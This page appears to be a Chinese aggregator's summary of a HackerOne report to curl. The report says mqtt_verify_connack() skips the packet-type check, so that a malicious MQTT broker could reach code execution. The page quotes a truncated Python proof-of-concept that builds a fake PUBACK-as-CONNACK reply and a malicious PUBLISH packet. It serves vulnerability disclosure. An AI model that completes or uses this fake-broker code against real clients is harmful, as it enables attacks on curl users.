MQTT CONNACK Packet Type Bypass leads to RCE via Malicious Broker
代码执行 / ASI05: Unexpected Code Execution (RCE) / #3712343
该报告还没有中文解读。
原文摘录
摘自原文(4324 字符中的一小部分)
`mqtt_verify_connack()` in `lib/mqtt.c` never checks that the received packet type is actually a CONNACK (`0x20`). The constant `MQTT_MSG_CONNACK` is commented out at line 45, making the check impossible to write. A malicious broker can send any packet — e.g. PUBACK (`0x40`) — with …
原文中的代码
import socket, struct
def fake_connack():
return bytes([0x40, 0x02, 0x00, 0x00]) # PUBACK, not CONNACK
def malicious_publish(payload):
topic = b"x"
body = struct.pack(">H", len(topic)) + topic + payload
return bytes([0x30, len(body)]) + body
srv = socket.socket() …默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @orelbn7 · 版权归作者与 curl 所有